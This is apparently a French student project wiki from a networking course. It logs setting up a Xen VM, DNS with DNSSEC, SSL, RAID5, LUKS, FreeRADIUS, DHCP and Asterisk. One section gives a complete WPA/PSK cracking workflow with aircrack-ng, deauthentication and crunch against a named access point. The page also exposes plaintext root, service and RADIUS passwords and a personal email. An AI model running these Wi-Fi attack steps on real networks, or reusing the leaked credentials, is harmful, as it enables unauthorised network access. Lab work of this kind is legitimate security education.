Cahier 2016 groupe n°1 : Différence entre versions

De Wiki de Projets IMA
(Séance 1)
(Séance6 : Sécurisation & Certification)
 
(47 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 1 : Ligne 1 :
=Séance 1=
+
=Séance 1 : Configuration du Bonding=
  
 
Pour la première séance nous avons installé ifenslave 2.6 sur le serveur et ajout d'un alias pour que le module bond soit activé avec les bonnes options :
 
Pour la première séance nous avons installé ifenslave 2.6 sur le serveur et ajout d'un alias pour que le module bond soit activé avec les bonnes options :
Ligne 34 : Ligne 34 :
 
  # bridge-ports bond0
 
  # bridge-ports bond0
  
=Séance 2=
+
=Séance 2 : Installation de la machine virtuelle=
  
 
Installation de la machine virtuelle sur le serveur cordouan:
 
Installation de la machine virtuelle sur le serveur cordouan:
Ligne 42 : Ligne 42 :
 
  WARNING
 
  WARNING
 
  -------
 
  -------
 
+
 
   You appear to have a missing vif-script, or network-script, in the
 
   You appear to have a missing vif-script, or network-script, in the
 
   Xen configuration file /etc/xen/xend-config.sxp.
 
   Xen configuration file /etc/xen/xend-config.sxp.
 
+
 
   Please fix this and restart Xend, or your guests will not be able
 
   Please fix this and restart Xend, or your guests will not be able
 
  to use any networking!
 
  to use any networking!
 
+
 
+
 
  General Information
 
  General Information
 
  --------------------
 
  --------------------
Ligne 67 : Ligne 67 :
 
  Netmask        : 255.255.255.240
 
  Netmask        : 255.255.255.240
 
  Gateway        : 193.48.57.171
 
  Gateway        : 193.48.57.171
 
+
 
+
 
  Creating partition image: /usr/local/xen/domains/Frotteman/swap.img
 
  Creating partition image: /usr/local/xen/domains/Frotteman/swap.img
 
  Done
 
  Done
 
+
 
  Creating swap on /usr/local/xen/domains/Frotteman/swap.img
 
  Creating swap on /usr/local/xen/domains/Frotteman/swap.img
 
  Done
 
  Done
 
+
 
  Creating partition image: /usr/local/xen/domains/Frotteman/disk.img
 
  Creating partition image: /usr/local/xen/domains/Frotteman/disk.img
 
  Done
 
  Done
Ligne 108 : Ligne 108 :
 
  RSA Fingerprint :  37:3f:a5:4a:6d:05:15:3d:55:44:e3:0b:7f:81:91:a2
 
  RSA Fingerprint :  37:3f:a5:4a:6d:05:15:3d:55:44:e3:0b:7f:81:91:a2
 
  Root Password  :  fsBsiSE4
 
  Root Password  :  fsBsiSE4
 +
 +
=Séance3 : Volumes logiques=
 +
 +
Création des partitions logiques pour la machine virtuelle.
 +
 +
lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-home -v
 +
lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-var -v
 +
 +
Ajouts des partitions à la configuration de la machine virtuelle.
 +
'phy:/dev/virtual/ima5-Frotteman-home,xvdb,w',
 +
'phy:/dev/virtual/ima5-Frotteman-var,xvdc, w',
 +
 +
=Séance4=
 +
 +
Commande pour démarrer la VM lorsqu'elle est totalement éteinte :
 +
 +
xl create -c /etc/xen/Frotteman.cfg
 +
 +
Nom de domaine réservé sur gandi.net
 +
 +
faispastomberlasavo.net
 +
 +
=Séance5 : DNS=
 +
 +
Installation de bind9 sur la VM xen.
 +
 +
Modification du fichier /etc/bind/named.conf.local
 +
 +
zone "faispastomberlasavo.net" {
 +
          type master;
 +
          file "/etc/bind/db.faispastomberlasavo.net";
 +
          allow-transfer { 217.70.177.40; };
 +
      };
 +
 +
Créez le fichier de zone /etc/bind/db.faispastomberlasavo.net
 +
 +
TTL    604800
 +
@      IN      SOA    ns.faispastomberlasavo.net. root.faispastomberlasavo.net. (
 +
                        2              ; Serial
 +
                        604800        ; Refresh
 +
                        86400        ; Retry
 +
                      2419200        ; Expire
 +
                        604800 )      ; Negative Cache TTL
 +
;
 +
        IN      NS      ns6.gandi.net.
 +
@      IN      NS      ns.faispastomberlasavo.net.
 +
ns      IN      A      193.48.57.161
 +
www    IN      A      193.48.57.161
 +
@      IN      A      193.48.57.161
 +
 +
 +
Redémarrer bind
 +
 +
/etc/init.d/bind9 restart
 +
 +
Changez la configuration des serveurs du domaine Gandi
 +
DNS1: ns.faispastomberlasavo.net
 +
DNS2: ns6.gandi.net
 +
 +
Commande:
 +
nslookup www.faispastomberlasavo.net
 +
 +
Résultat:
 +
Server: 193.48.57.161
 +
Address: 193.48.57.161#53
 +
 +
Name: www.faispastomberlasavo.net
 +
Address: 193.48.57.161
 +
 +
=Séance6 : Sécurisation & Certification=
 +
commande pour générer certificat SSL
 +
 +
openssl req -nodes -newkey rsa:2048 -sha1 -keyout faispas.key -out faispas.csr
 +
Country Name (2 letter code) [AU]:FR
 +
State or Province Name (full name) [Some-State]:France
 +
Locality Name (eg, city) []:Lille
 +
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
 +
Organizational Unit Name (eg, section) []:IMA
 +
Common Name (e.g. server FQDN or YOUR name) []:faispastomberlasavo.net
 +
Email Address []:cedricduval94@gmail.com
 +
 +
On ajoute le contenu du fichier serveur.csr dans gandi
 +
 +
On ajoute les fichiers à notre config :
 +
 +
cp faispas.crt GandiStandardSSLCA2.pem /etc/ssl/certs/
 +
cp faispas.key /etc/ssl/private/
 +
 +
 +
root@Frotteman:~# c_rehash /etc/ssl/certs
 +
Doing /etc/ssl/certs
 +
GandiStandardSSLCA2.pem => 8544bf03.0
 +
GandiStandardSSLCA2.pem => e279a80b.0
 +
faispas.crt => 82591bcd.0
 +
faispas.crt => a73fda57.0
 +
 +
 +
 +
DNSSEC
 +
Génération des clefs :
 +
 +
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE  faispastomberlasavo.net
 +
 +
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE  faispastomberlasavo.net
 +
 +
On inclut dans les clés dans le fichier de zone.db :
 +
 +
$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-ksk.key
 +
$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-zsk.key
 +
 +
On signe la zone :
 +
 +
/etc/bind/faispastomberlasavo.net.dnssec# dnssec-signzone -o  faispastomberlasavo.net -k  faispastomberlasavo.net-ksk ../db. faispastomberlasavo.net faispastomberlasavo.net-zsk
 +
 +
 +
 +
Verifying the zone using the following algorithms: RSASHA1.
 +
Zone fully signed:
 +
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
 +
                    ZSKs: 1 active, 0 stand-by, 0 revoked
 +
../db.faispastomberlasavo.net.signed
 +
 +
On ajoute le DNSSEC à Gandi.
 +
 +
On vérifie que notre DNS est bien sécurisé en essayant la commande :
 +
 +
root@Frotteman:/etc/bind# dig DNSKEY faispastomberlasavo.net @localhost
 +
 +
; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY faispastomberlasavo.net @localhost
 +
;; global options: +cmd
 +
;; Got answer:
 +
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10598
 +
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
 +
 +
;; OPT PSEUDOSECTION:
 +
; EDNS: version: 0, flags:; udp: 4096
 +
;; QUESTION SECTION:
 +
;faispastomberlasavo.net. IN DNSKEY 
 +
 +
;; ANSWER SECTION:
 +
faispastomberlasavo.net. 604800 IN DNSKEY 257 3 5 AwEAAa3Js66YHVQrw4q+4IKA71lRK9AXWznEZyoxVCxr0SSYx+TFUXxh VTbjq1H8aYjwUa1UyuFsHUC72wJcTNCo0DNOX6Qcek/Y9O30x8xnXRdB OsNFLhnc5v4b5mLTGLswS3GpBCgP8+xSj4LmZPrLZneVom5Q2xCl40KT b5WdpMXXmPjaPOk24gdr5QYzZxrSIqmbEjp2DPaCZiAqPJ8hvvqPFQ+Q Bq53a5/ra3PfN1uo0B2WzeGN0nsb3QDLAREmuovHxSJjm23Yv7rcU8eb txBuOPkbgyES/ybN0uWvW3hiHipXeMCa+yRywnle2Ea56k6w4bcPNta3 8qeF3KwqszE=
 +
faispastomberlasavo.net. 604800 IN DNSKEY 256 3 5 AwEAAe+I1C2IYzY323K1HXia8curPC+ZduRAiXpsYMdBRyTQOpxTf0zf ulFh42UOPhRCrYm3CZkOesUjhbS0Z3WVzy6u/RHJDRKiqNUbpnBN8jQf mmhIx8FJU3Kcu5st+T6cRWOEoCQIS6tOM31u5I4NKrhXZamDiV361YTQ nJrJNT//
 +
 +
;; Query time: 0 msec
 +
;; SERVER: 127.0.0.1#53(127.0.0.1)
 +
;; WHEN: Mon Nov 28 17:05:19 CET 2016
 +
;; MSG SIZE  rcvd: 476
 +
 +
==Crack clé WPA/PSK==
 +
 +
Tout d'abord il faut passer l'interface réseau en mode "Monitor".
 +
 +
airmon-ng start wlan1
 +
 +
Nous pouvons détecter les hotspots grâce à l'utilitaire airodump-ng
 +
 +
airodump-ng --encrypt wpa mon0
 +
 +
Nous voulions trouvé la clé de "cracotte01", nous avons donc filtré pour le bssid "04:DA:D2:9C:50:50"
 +
 +
airodump-ng -w out --bssid 04:DA:D2:9C:50:50 mon0
 +
aireplay-ng -0 0 -a 04:DA:D2:9C:50:50
 +
 +
Nous avons créer notre dictionnaire de la façon suivante
 +
 +
crunch 8 8 0123456789 -o dico.txt
 +
 +
Que nous avons tester sur une Zabeth par soucis de rapidité
 +
 +
aircrack-ng -w dico.txt out-01.cap
 +
 +
Qui nous a donné le résultat suivant
 +
 +
[[Fichier:Aircrack_screen.png|500px|thumb|center]]
 +
 +
==Travail à Réalisé==
 +
===6.1 Raid===
 +
 +
Tout d'abord il a fallu créer les disques virtuels avec ''lvcreate'' :
 +
lvcreate -L 1G -n /dev/virtual/Frotteman-raid1 -v
 +
lvcreate -L 1G -n /dev/virtual/Frotteman-raid2 -v
 +
lvcreate -L 1G -n /dev/virtual/Frotteman-raid3 -v
 +
 +
Puis il faut rajouter à la config ''/etc/xen/Frotteman.cfg'' :
 +
 +
'phy:/dev/virtual/Frotteman-raid1,xvdd1, w',
 +
'phy:/dev/virtual/Frotteman-raid2,xvdd2, w',
 +
'phy:/dev/virtual/Frotteman-raid3,xvdd3, w',
 +
 +
Une fois ceci fait on redémarre la VM et on installe ''mdadm'' :
 +
 +
apt-get install mdadm
 +
 +
On met à jour les modules du kernel (enfin je crois) :
 +
 +
apt-get install linux-image.3.16.0-4-amd64
 +
 +
Il ne nous reste plus qu'à créer notre disque RAID5 ''md0'' :
 +
 +
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3
 +
 +
Nous installons un système de fichier ''ext4'' dessus:
 +
 +
mkfs -t ext4 /dev/md0
 +
 +
Nous pouvons maintenant le monter :
 +
 +
mount /dev/md0 /mnt
 +
 +
 +
 +
Pour tester nous avons copié en partie le dossier /lib dans /mnt.
 +
Nous commentons une ligne du fichier /etc/xen/Frotteman.cfg
 +
 +
#'phy:/dev/virtual/Frotteman-raid2,xvdd2, x',
 +
 +
Puis nous observons les différents résultats via ''fdisk'' :
 +
 +
fdisk -l
 +
 +
Disk /dev/xvdd1: 1 GiB, 1073741824 bytes, 2097152 sectors
 +
Units: sectors of 1 * 512 = 512 bytes
 +
Sector size (logical/physical): 512 bytes / 512 bytes
 +
I/O size (minimum/optimal): 512 bytes / 512 bytes
 +
Disk /dev/xvdd3: 1 GiB, 1073741824 bytes, 2097152 sectors
 +
Units: sectors of 1 * 512 = 512 bytes
 +
Sector size (logical/physical): 512 bytes / 512 bytes
 +
I/O size (minimum/optimal): 512 bytes / 512 bytes
 +
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
 +
Units: sectors of 1 * 512 = 512 bytes
 +
Sector size (logical/physical): 512 bytes / 512 bytes
 +
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes
 +
 +
On observe l'absence du disque xvdd2 mais nous avons en revanche toutes nos données sur /mnt
 +
 +
root@Frotteman:~# ls /mnt/lib
 +
ifupdown       libipq.so.0.0.0     startpar
 +
init       libiptc.so.0     systemd
 +
klibc-IpHGKKbZiB_yZ7GPagmQz2GwVAQ.so  libiptc.so.0.0.0     terminfo
 +
libip4tc.so.0       libxtables.so.10     udev
 +
libip4tc.so.0.1.0       libxtables.so.10.0.0  x86_64-linux-gnu
 +
libip6tc.so.0       lsb     xtables
 +
libip6tc.so.0.1.0       modprobe.d
 +
libipq.so.0       modules
 +
 +
Nous avons même été prévenu via mail par mdadm, c'est bo l'info !!
 +
 +
From root@faispastomberlasavo.net  Wed Dec  7 17:06:00 2016
 +
X-Original-To: root
 +
From: mdadm monitoring <root@faispastomberlasavo.net>
 +
To: root@faispastomberlasavo.net
 +
Subject: DegradedArray event on /dev/md0:Frotteman
 +
Date: Wed,  7 Dec 2016 17:05:56 +0100 (CET)
 +
 +
This is an automatically generated mail message from mdadm
 +
running on Frotteman
 +
 +
A DegradedArray event had been detected on md device /dev/md0.
 +
 +
Faithfully yours, etc.
 +
 +
P.S. The /proc/mdstat file currently contains the following:
 +
 +
Personalities : [raid6] [raid5] [raid4]
 +
md0 : active (auto-read-only) raid5 xvdd1[0] xvdd3[2]
 +
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
 +
     
 +
unused devices: <none>
 +
 +
===6.2 Cryptage carte SD===
 +
Pour crypter les données présente sur un support de stockage nous utiliserons Gparted et CryptSetup
 +
 +
cryptsetup luksFormat -c eas -h sha256 /dev/mmcblk1
 +
 +
On rentre notre phrase secrète.
 +
 +
Optionel : On peut afficher l'état du conteneur grâce à la commande :
 +
 +
cryptsetup luksDump /dev/mmcblk1
 +
 +
On peut désormais ouvrir notre volume appelé "frotteman", il nous faudra ensuite renseigner la clé secrète :
 +
 +
cryptsetup luksOpen /dev/mmcblk1 frotteman
 +
 +
On peut désormais formater le volume en ext3
 +
 +
mkfs.ext3 /dev/mapper/frotteman
 +
 +
Et finalement monter/demonter le volume :
 +
 +
mount /dev/mapper/frotteman /mnt/
 +
umount /mnt
 +
 +
Et également fermé le volume chiffré :
 +
 +
cryptsetup luksClose frotteman
 +
 +
===6.6 Securasition Wifi par WPA2-EAP===
 +
 +
default_eap_type = peap
 +
 +
Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :
 +
 +
client E306{
 +
        ipaddr = 10.60.1.2
 +
        secret = password
 +
}
 +
 +
Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.
 +
 +
frotteman Cleartext-Password := "youpi"
 +
 +
Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS.
 +
Configuration des bornes Wi-Fi
 +
 +
Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :
 +
 +
conf t
 +
 +
aaa new-model
 +
aaa authentication login eap_frotteman group radius_frotteman
 +
radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key password
 +
aaa group server radius radius_frotteman
 +
server 193.48.57.161 auth-port 1812 acct-port 1813
 +
 +
 +
exit
 +
 +
dot11 ssid SSID_FROTTEMAN
 +
vlan 2
 +
authentication open eap eap_frotteman
 +
authentication network-eap eap_frotteman
 +
authentication key-management wpa
 +
mbssid guest-mode
 +
 +
exit
 +
 +
interface Dot11Radio0
 +
encryption vlan 2 mode ciphers aes-ccm tkip
 +
ssid SSID_FROTTEMAN
 +
 +
exit
 +
 +
interface Dot11Radio0.2
 +
encapsulation dot1Q 2
 +
no ip route-cache
 +
bridge-group 2
 +
bridge-group 2 subscriber-loop-control
 +
bridge-group 2 spanning-disabled
 +
bridge-group 2 block-unknown-source
 +
no bridge-group 2 source-learning
 +
no bridge-group 2 unicast-flooding 
 +
 +
exit
 +
 +
interface GigabitEthernet0.2
 +
encapsulation dot1Q 2
 +
bridge-group 2
 +
 +
exit
 +
 
 +
exit
 +
 +
 +
===6.8.1 DHCP===
 +
On installe un server DHCP sur l'eeePC :
 +
 +
apt-get install isc-dhcp-server
 +
 +
On configure le fichier /etc/dhcp/dhcpd.conf :
 +
 +
option domain-name "faispastomberlasavo.net";
 +
option domain-name-servers 193.48.57.161;
 +
 +
subnet 10.60.2.0 netmask 255.255.255.0 {
 +
      range 10.60.2.50 10.60.2.100;
 +
      option routers 10.60.6.1;
 +
}
 +
 +
Il ne nous reste plus qu'a indiqué notre interface réseau dans le fichier /etc/dhcp/isc-dhcp-server
 +
 +
===6.8.2 PCBx===
 +
 +
On installe asterisk
 +
apt-get install asterisk
 +
 +
On modifie le fichier /etc/asterisk/sip.conf afin de créer 2 utilisateurs 666 & 665:
 +
 +
[general]
 +
hasvoicemail=yes
 +
hassip=yes
 +
hasiax=yes
 +
callwaiting=yes
 +
threewaycalling=yes
 +
callwaitingcallerid=yes
 +
transfer=yes
 +
canpark=yes
 +
cancallforward=yes
 +
callreturn=yes
 +
callgroup=1
 +
pickupgroup=1
 +
nat=yes
 +
 +
[666]
 +
type=friend
 +
host=dynamic
 +
dtmfmode=rfc2833
 +
disallow=all
 +
allow=ulaw
 +
fullname=Cduval
 +
username=cduval
 +
secret=glopglop
 +
context=work
 +
 +
[665]
 +
type=friend
 +
host=dynamic
 +
dtmfmode=rfc2833
 +
disallow=all
 +
allow=ulaw
 +
fullname=Pfitouss
 +
username=pfitouss
 +
secret=glopglop
 +
context=work
 +
 +
 +
 +
Nous pouvons donc constater que le communication est réussi
 +
Frotteman*CLI> sip show peers
 +
Name/username            Host                                    Dyn Forcerport Comedia    ACL Port    Status      Description                     
 +
665/pfitouss              (Unspecified)                            D  Auto (No)  No            0        Unmonitored                                 
 +
666/cduval                (Unspecified)                            D  Auto (No)  No            0        Unmonitored                                 
 +
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 0 online, 2 offline]
 +
    -- Registered SIP '665' at 10.60.2.100:38862
 +
[Jan  6 16:10:49] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
 +
    -- Registered SIP '666' at 10.60.2.101:35192
 +
[Jan  6 16:12:06] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 666
 +
[Jan  6 16:12:14] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
 +
  == Using SIP RTP CoS mark 5
 +
    -- Executing [666@work:1] Dial("SIP/665-00000000", "SIP/666,20") in new stack
 +
  == Using SIP RTP CoS mark 5
 +
    -- Called SIP/666
 +
    -- SIP/666-00000001 is ringing
 +
    -- SIP/666-00000001 answered SIP/665-00000000
 +
    -- Remotely bridging SIP/665-00000000 and SIP/666-00000001
 +
  == Spawn extension (work, 666, 1) exited non-zero on 'SIP/665-00000000'
 +
Frotteman*CLI>

Version actuelle datée du 8 janvier 2017 à 17:46

Séance 1 : Configuration du Bonding

Pour la première séance nous avons installé ifenslave 2.6 sur le serveur et ajout d'un alias pour que le module bond soit activé avec les bonnes options :

alias bond0 bonding
options bonding mode=1 miimon=100 downdelay=200 updelay=200

Nous avons aussi configuré le fichier /etc/network/interfaces en y incluant la configuration des différentes interfaces : eth100, eth101 ainsi que la configuration du bridge: br0 et du bonding: bond0.

#Bonding IMA5sc
#auto eth100
#iface eth0 inet manual
#	bond-master bond0
#	bond-primary eth100 eth101
#	bond-mode 5

#auto eth101
#iface eth1 inet manual	
#	bond-master bond0
#	bond-primary eth100 eth101
#	bond-mode 5

#auto bond0
#iface bond0 inet dhcp
#	pre-up modprobe bonding
#	pre-up ifconfig bond0 up
#	pre-up /sbin/ifenslave  bond0 eth100 eth101
#	down sbin/ifenslave -d bond0 eth100 eth101
#	bonds-slaves none
#
#auto br0
#iface br0 inet dhcp
#	bridge-ports bond0

Séance 2 : Installation de la machine virtuelle

Installation de la machine virtuelle sur le serveur cordouan:

root@cordouan:/usr/local/xen/domains# xen-create-image --hostname=Frotteman --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.171  --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --password=glopglop
WARNING
-------

 You appear to have a missing vif-script, or network-script, in the
 Xen configuration file /etc/xen/xend-config.sxp.

 Please fix this and restart Xend, or your guests will not be able
to use any networking!


General Information
--------------------
Hostname       :  Frotteman
Distribution   :  jessie
Mirror         :  http://debian.polytech-lille.fr/debian/
Partitions     :  swap            128M  (swap)
                  /               4G    (ext3)
Image type     :  sparse
Memory size    :  128M
Kernel path    :  /boot/vmlinuz-3.14-2-amd64
Initrd path    :  /boot/initrd.img-3.14-2-amd64

Networking Information
----------------------
IP Address 1   : 193.48.57.161 [MAC: 00:16:3E:F4:F8:CE]
Netmask        : 255.255.255.240
Gateway        : 193.48.57.171


Creating partition image: /usr/local/xen/domains/Frotteman/swap.img
Done

Creating swap on /usr/local/xen/domains/Frotteman/swap.img
Done

Creating partition image: /usr/local/xen/domains/Frotteman/disk.img
Done

Creating ext3 filesystem on /usr/local/xen/domains/Frotteman/disk.img
Done
Installation method: debootstrap
Done

Running hooks
Done

No role scripts were specified.  Skipping 

Creating Xen configuration file
Done 

No role scripts were specified.  Skipping
Setting up root password
Generating a password for the new guest.
All done


Logfile produced at:
	 /var/log/xen-tools/Frotteman.log

Installation Summary
---------------------
Hostname        :  Frotteman
Distribution    :  jessie
MAC Address     :  00:16:3E:F4:F8:CE
IP Address(es)  :  193.48.57.161 
RSA Fingerprint :  37:3f:a5:4a:6d:05:15:3d:55:44:e3:0b:7f:81:91:a2
Root Password   :  fsBsiSE4

Séance3 : Volumes logiques

Création des partitions logiques pour la machine virtuelle.

lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-home -v
lvcreate -L 10G -n /dev/virtual/ima5-Frotteman-var -v

Ajouts des partitions à la configuration de la machine virtuelle.

'phy:/dev/virtual/ima5-Frotteman-home,xvdb,w',
'phy:/dev/virtual/ima5-Frotteman-var,xvdc, w',

Séance4

Commande pour démarrer la VM lorsqu'elle est totalement éteinte :

xl create -c /etc/xen/Frotteman.cfg

Nom de domaine réservé sur gandi.net

faispastomberlasavo.net

Séance5 : DNS

Installation de bind9 sur la VM xen.

Modification du fichier /etc/bind/named.conf.local

zone "faispastomberlasavo.net" {
          type master;
          file "/etc/bind/db.faispastomberlasavo.net";
          allow-transfer { 217.70.177.40; };
     };

Créez le fichier de zone /etc/bind/db.faispastomberlasavo.net

TTL    604800
@       IN      SOA     ns.faispastomberlasavo.net. root.faispastomberlasavo.net. (
                       2              ; Serial
                       604800         ; Refresh
                        86400         ; Retry
                      2419200         ; Expire
                       604800 )       ; Negative Cache TTL
;
        IN      NS      ns6.gandi.net.
@       IN      NS      ns.faispastomberlasavo.net.
ns      IN      A       193.48.57.161
www     IN      A       193.48.57.161
@       IN      A       193.48.57.161


Redémarrer bind

/etc/init.d/bind9 restart

Changez la configuration des serveurs du domaine Gandi

DNS1: ns.faispastomberlasavo.net
DNS2: ns6.gandi.net

Commande:

nslookup www.faispastomberlasavo.net

Résultat:

Server:		193.48.57.161
Address:	193.48.57.161#53 

Name:	www.faispastomberlasavo.net
Address: 193.48.57.161

Séance6 : Sécurisation & Certification

commande pour générer certificat SSL

openssl req -nodes -newkey rsa:2048 -sha1 -keyout faispas.key -out faispas.csr
Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:faispastomberlasavo.net
Email Address []:cedricduval94@gmail.com

On ajoute le contenu du fichier serveur.csr dans gandi

On ajoute les fichiers à notre config :

cp faispas.crt GandiStandardSSLCA2.pem /etc/ssl/certs/ 
cp faispas.key /etc/ssl/private/

root@Frotteman:~# c_rehash /etc/ssl/certs 
Doing /etc/ssl/certs
GandiStandardSSLCA2.pem => 8544bf03.0
GandiStandardSSLCA2.pem => e279a80b.0
faispas.crt => 82591bcd.0
faispas.crt => a73fda57.0


DNSSEC Génération des clefs :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE  faispastomberlasavo.net 
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE  faispastomberlasavo.net 

On inclut dans les clés dans le fichier de zone.db :

$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-ksk.key
$include /etc/bind/ faispastomberlasavo.net.dnssec/ faispastomberlasavo.net-zsk.key

On signe la zone :

/etc/bind/faispastomberlasavo.net.dnssec# dnssec-signzone -o  faispastomberlasavo.net -k  faispastomberlasavo.net-ksk ../db. faispastomberlasavo.net faispastomberlasavo.net-zsk


Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
                    ZSKs: 1 active, 0 stand-by, 0 revoked
../db.faispastomberlasavo.net.signed

On ajoute le DNSSEC à Gandi.

On vérifie que notre DNS est bien sécurisé en essayant la commande :

root@Frotteman:/etc/bind# dig DNSKEY faispastomberlasavo.net @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY faispastomberlasavo.net @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10598
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;faispastomberlasavo.net.	IN	DNSKEY   

;; ANSWER SECTION:
faispastomberlasavo.net. 604800	IN	DNSKEY	257 3 5 AwEAAa3Js66YHVQrw4q+4IKA71lRK9AXWznEZyoxVCxr0SSYx+TFUXxh VTbjq1H8aYjwUa1UyuFsHUC72wJcTNCo0DNOX6Qcek/Y9O30x8xnXRdB OsNFLhnc5v4b5mLTGLswS3GpBCgP8+xSj4LmZPrLZneVom5Q2xCl40KT b5WdpMXXmPjaPOk24gdr5QYzZxrSIqmbEjp2DPaCZiAqPJ8hvvqPFQ+Q Bq53a5/ra3PfN1uo0B2WzeGN0nsb3QDLAREmuovHxSJjm23Yv7rcU8eb txBuOPkbgyES/ybN0uWvW3hiHipXeMCa+yRywnle2Ea56k6w4bcPNta3 8qeF3KwqszE=
faispastomberlasavo.net. 604800	IN	DNSKEY	256 3 5 AwEAAe+I1C2IYzY323K1HXia8curPC+ZduRAiXpsYMdBRyTQOpxTf0zf ulFh42UOPhRCrYm3CZkOesUjhbS0Z3WVzy6u/RHJDRKiqNUbpnBN8jQf mmhIx8FJU3Kcu5st+T6cRWOEoCQIS6tOM31u5I4NKrhXZamDiV361YTQ nJrJNT//

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Mon Nov 28 17:05:19 CET 2016
;; MSG SIZE  rcvd: 476

Crack clé WPA/PSK

Tout d'abord il faut passer l'interface réseau en mode "Monitor".

airmon-ng start wlan1

Nous pouvons détecter les hotspots grâce à l'utilitaire airodump-ng

airodump-ng --encrypt wpa mon0

Nous voulions trouvé la clé de "cracotte01", nous avons donc filtré pour le bssid "04:DA:D2:9C:50:50"

airodump-ng -w out --bssid 04:DA:D2:9C:50:50 mon0
aireplay-ng -0 0 -a 04:DA:D2:9C:50:50

Nous avons créer notre dictionnaire de la façon suivante

crunch 8 8 0123456789 -o dico.txt

Que nous avons tester sur une Zabeth par soucis de rapidité

aircrack-ng -w dico.txt out-01.cap

Qui nous a donné le résultat suivant

Aircrack screen.png

Travail à Réalisé

6.1 Raid

Tout d'abord il a fallu créer les disques virtuels avec lvcreate :

lvcreate -L 1G -n /dev/virtual/Frotteman-raid1 -v
lvcreate -L 1G -n /dev/virtual/Frotteman-raid2 -v
lvcreate -L 1G -n /dev/virtual/Frotteman-raid3 -v

Puis il faut rajouter à la config /etc/xen/Frotteman.cfg :

'phy:/dev/virtual/Frotteman-raid1,xvdd1, w',
'phy:/dev/virtual/Frotteman-raid2,xvdd2, w',
'phy:/dev/virtual/Frotteman-raid3,xvdd3, w',

Une fois ceci fait on redémarre la VM et on installe mdadm :

apt-get install mdadm

On met à jour les modules du kernel (enfin je crois) :

apt-get install linux-image.3.16.0-4-amd64

Il ne nous reste plus qu'à créer notre disque RAID5 md0 :

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3

Nous installons un système de fichier ext4 dessus:

mkfs -t ext4 /dev/md0

Nous pouvons maintenant le monter :

mount /dev/md0 /mnt


Pour tester nous avons copié en partie le dossier /lib dans /mnt. Nous commentons une ligne du fichier /etc/xen/Frotteman.cfg

#'phy:/dev/virtual/Frotteman-raid2,xvdd2, x',

Puis nous observons les différents résultats via fdisk :

fdisk -l
Disk /dev/xvdd1: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/xvdd3: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

On observe l'absence du disque xvdd2 mais nous avons en revanche toutes nos données sur /mnt

root@Frotteman:~# ls /mnt/lib
ifupdown			      libipq.so.0.0.0	    startpar
init				      libiptc.so.0	    systemd
